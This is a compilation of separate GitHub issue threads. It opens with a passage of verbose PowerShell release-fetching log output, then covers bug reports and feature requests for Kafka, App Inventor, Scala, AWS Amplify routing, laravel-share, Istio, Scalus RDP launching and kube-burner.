https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-x64-fxdependent.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-x64-fxdependent.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-osx-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-arm32.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-arm32.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-arm64.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-arm64.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-fxdependent.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-fxdependent.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-fxdependentWinDesktop.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-fxdependentWinDesktop.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x64.msi.
VERBOSE: Get-GitHubRepoRelease: Building Windows release output object with:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x64.msi.
VERBOSE: Get-GitHubRepoRelease: Matching version number against: v7.2.18.
VERBOSE: Get-GitHubRepoRelease: Found version number: 7.2.18.
VERBOSE: Get-InstallerType: Installer type not found in
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x64.msi, defaulting to
'Default'.
VERBOSE: ConvertTo-DateTime: Converting: [2024-01-11T19:16:26Z].
VERBOSE: ConvertTo-DateTime: Attempting to convert date format to: en-US.
VERBOSE: ConvertTo-DateTime: Failed to convert to short date.
VERBOSE: ConvertTo-DateTime: Returning date: [2024-01-11T19:16:26Z].
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x64.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x64.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x86.msi.
VERBOSE: Get-GitHubRepoRelease: Building Windows release output object with:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x86.msi.
VERBOSE: Get-GitHubRepoRelease: Matching version number against: v7.2.18.
VERBOSE: Get-GitHubRepoRelease: Found version number: 7.2.18.
VERBOSE: Get-InstallerType: Installer type not found in
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x86.msi, defaulting to
'Default'.
VERBOSE: ConvertTo-DateTime: Converting: [2024-01-11T19:16:26Z].
VERBOSE: ConvertTo-DateTime: Attempting to convert date format to: en-US.
VERBOSE: ConvertTo-DateTime: Failed to convert to short date.
VERBOSE: ConvertTo-DateTime: Returning date: [2024-01-11T19:16:26Z].
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x86.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/PowerShell-7.2.18-win-x86.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts-7.2.18-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts_7.2.18-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-lts_7.2.18-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell_7.2.18-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell_7.2.18-1.deb_amd64.deb.
VERBOSE: Get-GitHubRateLimit: Checking for how many requests to the GitHub API we have left.
VERBOSE: GET with 0-byte payload
VERBOSE: received 465-byte response of content type application/json; charset=utf-8
VERBOSE: Get-GitHubRateLimit: We have 55 requests left to the GitHub API in this window.
VERBOSE: Get-GitHubRateLimit: Rate limit window resets at: 2/5/2024 5:10 PM.
VERBOSE: Get-GitHubRepoRelease: Set TLS to Tls12.
VERBOSE: Get-GitHubRepoRelease: Get GitHub release from:
https://api.github.com/repos/PowerShell/PowerShell/releases/tags/v7.4.1.
VERBOSE: GET with 0-byte payload
VERBOSE: received 48063-byte response of content type application/json; charset=utf-8
VERBOSE: Get-GitHubRepoRelease: Validating GitHub release object.
VERBOSE: Get-GitHubRepoRelease: Validated successfully.
VERBOSE: Get-GitHubRepoRelease: Found  release/s.
VERBOSE: Get-GitHubRepoRelease: Found 29 asset/s.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/hashes.sha256.
VERBOSE: Get-GitHubRepoRelease: Skip: https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/hashes.sha256.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm32.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm32.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-musl-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-musl-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-fxdependent.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-fxdependent.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-musl-noopt-fxdependent.tar
.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-musl-noopt-fxdependent.tar
.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-arm64.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-arm64.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependent.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependent.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependentWinDesktop.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependentWinDesktop.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.msi.
VERBOSE: Get-GitHubRepoRelease: Building Windows release output object with:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.msi.
VERBOSE: Get-GitHubRepoRelease: Matching version number against: v7.4.1.
VERBOSE: Get-GitHubRepoRelease: Found version number: 7.4.1.
VERBOSE: Get-InstallerType: Installer type not found in
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.msi, defaulting to
'Default'.
VERBOSE: ConvertTo-DateTime: Converting: [2024-01-11T22:40:08Z].
VERBOSE: ConvertTo-DateTime: Attempting to convert date format to: en-US.
VERBOSE: ConvertTo-DateTime: Failed to convert to short date.
VERBOSE: ConvertTo-DateTime: Returning date: [2024-01-11T22:40:08Z].
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.msi.
VERBOSE: Get-GitHubRepoRelease: Building Windows release output object with:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.msi.
VERBOSE: Get-GitHubRepoRelease: Matching version number against: v7.4.1.
VERBOSE: Get-GitHubRepoRelease: Found version number: 7.4.1.
VERBOSE: Get-InstallerType: Installer type not found in
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.msi, defaulting to
'Default'.
VERBOSE: ConvertTo-DateTime: Converting: [2024-01-11T22:40:08Z].
VERBOSE: ConvertTo-DateTime: Attempting to convert date format to: en-US.
VERBOSE: ConvertTo-DateTime: Failed to convert to short date.
VERBOSE: ConvertTo-DateTime: Returning date: [2024-01-11T22:40:08Z].
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win.msixbundle.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win.msixbundle.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts_7.4.1-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts_7.4.1-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell_7.4.1-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell_7.4.1-1.deb_amd64.deb.

Thanks Aaron


[Feature] Be able to change Kafka service configuration before deployment

¿It's possible to change the kafka default Listener before deployment?

Hi!
It's not at the moment, no, but can be added if you think it would be useful.
An example of how this would be done is here: https://github.com/hortonworks/ansible-hortonworks/commit/5815e83282db1b936dba96b1c85a7dc497e9b238
But out of curiosity, why would you need to do that?
Normally you shouldn't need to change the listener and leave ambari do it when doing configs like enabling security or SSL or port changing.

Hi @miguelcarax is it possible if you can give an update regarding my question above?
If this is something that is genuinely required, I can add the listener as a configurable variable, but only if makes sense.

Hi @miguelcarax I'll close this as I haven't heard from you, but you can always comment on the closed issue or open it up if you want to.


Fixed the Issue #624 (Download Blocks as Images, Comment Text Disappears)

#624
When a comment block is created and the user edits the comment block by typing text, this action changes the value property of the textarea, which is not duplicated using the .CloneNode() method. This is the reason why comment text disappears when a user attempts to download blocks as images.
@halatmit

@jisqyv @chenglonkhin @afmckinney
This looks OK to me.   Except that when I start a new project with this instance, I get the warning:
This project was saved with a newer version of the App Inventor system. We will attempt to load the project, but there may be compatibility issues.
Is this a result of not updating YaVersion or something?  Lokhin, please check with Jeff or Andrew.

@halatmit
I can't seem to reproduce this warning on my local instance, but I'll make sure with Jeff or Andrew when they come into lab today.

@halatmit I'm doing this review today. I'll make sure all is well...

@chenglonkhin @halatmit LGTM, moving to Gerrit

@chenglonkhin MERGED!


Backport "Handle old given syntax where identifier and type are seperated by new line" to 3.6

Backports #21957 to the 3.6.2.
PR submitted by the release tooling.
[skip ci]

No regressions detected in the community build up to release-3.6.2-backport-21949.
Reference


AWS hosting problem in single page application in react

Before opening, please confirm:

[X] I have searched for duplicate or closed issues and discussions.
[X] I have read the guide for submitting bug reports.
[X] I have done my best to include a minimal, self-contained set of instructions for consistently reproducing the issue.

JavaScript Framework
React
Amplify APIs
GraphQL API
Amplify Version
v5
Amplify Categories
hosting
Backend
Amplify CLI
Environment information
{
"name": "example",
"private": true,
"version": "0.0.0",
"type": "module",
"scripts": {
"dev": "vite",
"build": "vite build --base=./",
"lint": "eslint . --ext js,jsx --report-unused-disable-directives --max-warnings 0",
"preview": "vite preview"
},
"dependencies": {
"@aws-amplify/backend": "^1.2.1",
"@aws-amplify/cli": "^12.12.6",
"@reduxjs/toolkit": "^2.2.7",
"aws-amplify": "^5.3.21",
"crypto-js": "^4.2.0",
"react": "^18.3.1",
"react-adsense": "^0.1.0",
"react-dom": "^18.3.1",
"react-helmet": "^6.1.0",
"react-icons": "^5.3.0",
"react-intersection-observer": "^9.13.1",
"react-redux": "^9.1.2",
"react-router-dom": "^6.26.0",
"react-share": "^5.1.0",
"react-share-kit": "^1.1.0",
"react-shimmer-effects": "^1.0.3",
"react-snap": "^1.23.0",
"react-toastify": "^10.0.5",
"vite-plugin-node-polyfills": "^0.22.0"
},
"reactSnap": {
"source": "dist",
"minifyHtml": {
"collapseWhitespace": false,
"removeComments": false
},
"include": [
"/",
"/about-us",
"/contact-us",
"/login",
"/register"
]
},
"devDependencies": {
"@types/react": "^18.3.3",
"@types/react-dom": "^18.3.0",
"@vitejs/plugin-react": "^4.3.1",
"autoprefixer": "^10.4.20",
"eslint": "^8.57.0",
"eslint-plugin-react": "^7.34.3",
"eslint-plugin-react-hooks": "^4.6.2",
"eslint-plugin-react-refresh": "^0.4.7",
"postcss": "^8.4.41",
"tailwindcss": "^3.4.7",
"vite": "^5.3.4"
}
}
Describe the bug
The application intermittently throws a 404 status code, although the UI renders correctly. This seems to occur when the React Router attempts to handle routes that are not explicitly defined as static files.
Modifying the redirects and rewrites configuration to return a 200 status code for all routes (i.e., redirecting all requests to index.html) resolves the issue, allowing the application to function as expected. However, this fix is not persistent.
After redeploying the application, we encounter the following error:
Failed to load module script: The server responded with a non-JavaScript MIME type of "text/html".
Expected behavior
The React application should handle routing correctly. This means that any route defined within the React Router should display the corresponding component without causing a 404 error, regardless of whether the route matches a static file or not.
Reproduction steps
[
{
"source": "https://example.com",
"status": "302",
"target": "https://www.example.com"
},
{
"source": "/<*>",
"status": "200",
"target": "/index.html"
}
]
Code Snippet
// Put your code below this line.

Log output
Failed to load module script: The server responded with a non-JavaScript MIME type of "text/html".
aws-exports.js
No response
Manual configuration
No response
Additional configuration
No response
Mobile Device
No response
Mobile Operating System
No response
Mobile Browser
No response
Mobile Browser Version
No response
Additional information and screenshots
after hosting using custom domain on first deployment it works seamlessly but on auto-deployment
on first deployment the default redirect rule is set  to 404 but  ui is rendered but on console it shows 404 message on second auto deployment i changed redirect rules and 404 on console disappear but below message is shown in the console and the ui is empty.
it show this message on console, after changing redirect and rewrite rules:
Failed to load module script: The server responded with a non-JavaScript MIME type of "text/html".

Hi @gopalpokhrel1 👋 , can you share your Amplify app id? I'd like to review the rewrite rules setup for the app. Additionally, have you ran a production build of your app locally to see if you observe similar issues?

Hello @Jay2113 ,  here’s the Amplify app ID you requested: d2skll95f8uev1 . Let me know if you need anything else!

Closing this thread due to inactivity. If you are still running into this issue, feel free to reopen it with the information requested here.


changed translation file source

load translation from the published translation file instead of the package translation file.

Are you sure you published the file correctly? According to the docs it should just work https://laravel.com/docs/5.4/packages#translations so please provide a bit more information regarding the problem you are facing.

after I installed the package and published it, I tried to change facebook font awesome icon in the file resources\lang\en\laravel-share.php but it didn't work, I dug into the code and found out the HTML was being loaded from vendor\jorenvanhocht\laravel-share\config\laravel-share.php  :
// src/Providers/ShareServiceProvider.php

$this->loadTranslationsFrom(__DIR__ . '/../../resources/lang/', 'laravel-share');

perfectely it should merge both files content (resources\lang\en\laravel-share.php and  vendor\jorenvanhocht\laravel-share\config\laravel-share.php) like you did with config/laravel-share.php files

According to the docs it should work. Just to be sure, what is the language/locale of your app?

English and French as a default language.

Can you try by creating a fr version of the language file?

I already have the language file in both folders fr and en, and I changed the icon "fa-facebook-official" to "fa-facebook" in the two files inside the folder , but the first icon is still showing up.

I'm trying to tackle this issue, it's not working over here. I need a bit more time for this.
When comparing my service provider to the docs it should just work but it doesn't so I'm guessing it has something to do on how I register it in my service provider.

@netfox01 I published a new release that should fix this issue.
After digging abit further I noticed that package language files should be published to lang/vendor/packageName/lang/file.php and that was not the case for this package ;)
I hope this works out for you.
Note: you should remove the published translation files and republish them using php artisan vendor:publish
https://github.com/jorenvh/laravel-share/releases/tag/1.0.2


Documentation/Support on envoy metrics to monitor Locality Lb

Describe the feature request
Whilst LocalityLb can be enabled very easily, it would be good to have some focus around observability to help the operator do things like:

Monitor traffic weightings
Detect imbalanced load (due to workloads being in the same region)

When people have been working on this feature, are there any particular envoy or istio metrics that have helped debug/monitor/observe?  (I know of https://github.com/istio/istio/issues/20235 which needs to be fixed to make them useful)
Thanks!
Describe alternatives you've considered
Additional context

This has been a large problem for us as well


Launch RDP not working

I am able to connect to SSH and Telnet sessions using Scalus, however when I try and use Scalus to connect to RDP I am prompted by SPS to enter a target server.
Please see attached.

If however I download the RDP file and launch it, it works as expected.

web.config

appsettings.json
{
"Logging": {
"FileName": "scalus.log",
"MinLevel": "Information",
"Console": true
},
"Configuration": {
"FileName": "SCALUS.json"
},
"Lifetime": {
"IgnoreShutdown": false
}
}

This is the file we need:

Sorry.
Here you go.
Thanks.
scalus.json

What version of windows and what version of SPP?

7.4

Windows 10 22H2 (OS Build 19045.3570)

Scalus takes the URL from SPP and parses it into properties then writes out a temporary RDP file according to one of the installed templates and launches it with RDP client.
Either:

The parser isn't  parsing the URL correctly (SCALUS bug)
The URL has bad data (SPP bug)
Or the template isn't correct (Configuration)

With the full text of the URL being launched, the correct RDP file and the incorrect RDP file it should be possible to see what's going wrong and reproduce it.
Can you try again and paste the full text of the URL being launched:

The contents of the temporary RDP file (it's just a text file):

And the contents of the working RDP file returned from SPP?

@CodyBatt  & @JaredCuster
Details as per request.
Thx.

scalas created rdp file.txt
spp created rdp file.txt
WinRdpTemplate.txt

So this is the working username:
<EMAIL_ADDRESS>
And this is the incorrect username. Pretty obviously has invalid characters:
username:s:pf1idlab.local\vaultaddress~<IP_ADDRESS>%token~A5KvBHRJDcscWqGXYsHSw4xynemEGEcGQeAbQcCSqa2NbGRPzkXNREPqrfWN238kXuZtyJi4mLs66LDaj9�min_1 .5.19.11:3389

Defintely looks like a scalus bug.

@phil210802 unable reproduce, can you attach the scalus.log file please.


Could base image be upgraded from Ubuntu 14.04 to 16.04? E.g. to allow Java installation in derived images

Hi!
I don't maintain this image anymore; but if you submit a pull request and can confirm that it works correctly for you, I'll be happy to merge it for your use and other's.
Thank you!


Update stride to <IP_ADDRESS>2

Updated projects to latest with .NET 8.
Added Module classes to the projects due to a bug in the latest that fixes some deserializations issues but causes another https://github.com/stride3d/stride/issues/2200

Thanks 👍


[RFE] BYOWL to pull prometheus route and token by default

Is your feature request related to a problem? Please describe.
I use kube-burner-ocp in large part because it bootstraps the prometheus configuration for my cluster, so that I don't need to create a metrics-endpoint.yml.
When I use kube-burner-ocp init, no metrics profiles are used by default and the metrics-endpoint is not bootstrapped.
Describe the solution you'd like
I would like kube-burner-ocp init to have the same behavior as other workloads, which is: generate the metrics-endpoint information if a config is not provided.
Describe alternatives you've considered
Right now, I use cluster-density-v2 subcommand and change the kube-burner config in a local dir to pull the prometheus information dynamically.

This was fixed by #56